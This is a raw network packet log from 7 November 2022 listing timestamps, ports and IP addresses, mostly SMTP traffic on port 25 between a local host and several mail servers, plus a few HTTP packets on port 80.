Nov 7, 2022 22:24:42.826086998 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.826179981 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:42.829832077 CET	49794	80	192.168.2.5	81.17.29.150
Nov 7, 2022 22:24:42.845350981 CET	80	49794	81.17.29.150	192.168.2.5
Nov 7, 2022 22:24:42.845491886 CET	49794	80	192.168.2.5	81.17.29.150
Nov 7, 2022 22:24:42.852477074 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.852586031 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.878932953 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.880017996 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:42.880549908 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:42.893192053 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:42.927958012 CET	49794	80	192.168.2.5	81.17.29.150
Nov 7, 2022 22:24:42.943433046 CET	80	49794	81.17.29.150	192.168.2.5
Nov 7, 2022 22:24:42.948479891 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:42.952440023 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:42.952614069 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:42.964761972 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:42.965895891 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.992270947 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.992311954 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.992331982 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.992352009 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.992384911 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.992388010 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.992404938 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.992419004 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.992445946 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.992453098 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.992496014 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.992522955 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.992543936 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.992603064 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:42.992647886 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:42.992747068 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.006582022 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.006700039 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.018918991 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.018964052 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.018985987 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019004107 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019023895 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019042969 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019064903 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019081116 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019095898 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019117117 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019138098 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019159079 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019180059 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019200087 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019222021 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019222021 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.019222021 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.019243002 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019263983 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019284964 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019304991 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019325972 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.019396067 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.019423008 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.019423008 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.019423008 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.019454002 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.019454002 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.019543886 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.019543886 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.019543886 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.045840025 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.045902014 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.045927048 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.045947075 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.045967102 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.045989037 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.045989990 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046015024 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046034098 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046036005 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046055079 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046058893 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046077013 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046080112 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046093941 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046102047 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046123028 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046132088 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046144009 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046153069 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046168089 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046171904 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046186924 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046189070 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046204090 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046211004 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046233892 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046236038 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046258926 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046278954 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046298981 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046299934 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046324015 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046331882 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046346903 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046351910 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046369076 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046372890 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046389103 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046401978 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046423912 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046469927 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046492100 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046576023 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046597958 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046612024 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046627045 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046695948 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046695948 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046706915 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046725988 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046731949 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046755075 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046763897 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046777964 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046782970 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046802044 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046809912 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046827078 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046834946 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046849012 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.046853065 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046883106 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.046901941 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.060724020 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.060973883 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.072798014 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.072837114 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.072863102 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.072952986 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073014975 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073107004 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073134899 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073163033 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073184013 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073189020 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073216915 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073242903 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073249102 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073267937 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073293924 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073318958 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073323011 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073323011 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073323011 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073344946 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073359013 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073389053 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073405981 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073431969 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073457956 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073461056 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073482037 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073483944 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073509932 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073518038 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073518038 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073537111 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073559046 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073563099 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073584080 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073590994 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073623896 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073653936 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073709965 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073780060 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073807955 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073836088 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073901892 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073903084 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073929071 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.073982954 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073982954 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073982954 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073982954 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.073997974 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074019909 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074023962 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074052095 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074076891 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074096918 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074101925 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074115992 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074129105 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074148893 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074153900 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074171066 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074178934 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074191093 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074204922 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074213982 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074232101 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074234962 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074255943 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074259043 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074285030 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074285030 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074315071 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074336052 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074475050 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074501038 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074528933 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074552059 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074553013 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074573040 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074579000 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074590921 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074605942 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074618101 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074630976 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074644089 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074656963 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074666023 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074682951 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074687004 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074709892 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074717045 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074737072 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074737072 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074769020 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074794054 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074853897 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074901104 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074927092 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074951887 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.074963093 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.074978113 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075004101 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075016022 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.075016022 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.075031996 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075057983 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075084925 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075109005 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075133085 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075156927 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075227022 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075253963 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075278997 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075303078 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075493097 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075562954 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075592041 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075618029 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075644970 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075670004 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075695038 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075721025 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075747013 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075773001 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075803995 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075835943 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075860023 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.075885057 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.099241018 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.099838972 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.099854946 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.099869967 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.099970102 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.100090981 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.100517988 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.100533009 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.100636005 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.100650072 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.100955963 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.100969076 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.101386070 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.101522923 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.101566076 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.101603031 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.101618052 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.101629972 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102127075 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102142096 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102158070 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102170944 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102282047 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102296114 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102310896 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102509975 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102533102 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102551937 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102571011 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102588892 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102607965 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102626085 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102647066 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102701902 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102719069 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102734089 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102751970 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.102812052 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103169918 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103199005 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103214979 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103265047 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103286982 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103307009 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103327990 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103346109 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103364944 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103384018 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103461027 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103482008 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103539944 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103573084 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103715897 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103739977 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103822947 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103853941 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103876114 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103894949 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103914976 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.103936911 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104130030 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104155064 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104173899 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104193926 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104213953 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104279041 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104299068 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104317904 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104336977 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104357958 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104499102 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104518890 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104540110 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104559898 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104578972 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104602098 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104621887 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104643106 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104661942 CET	25	49790	142.250.102.26	192.168.2.5
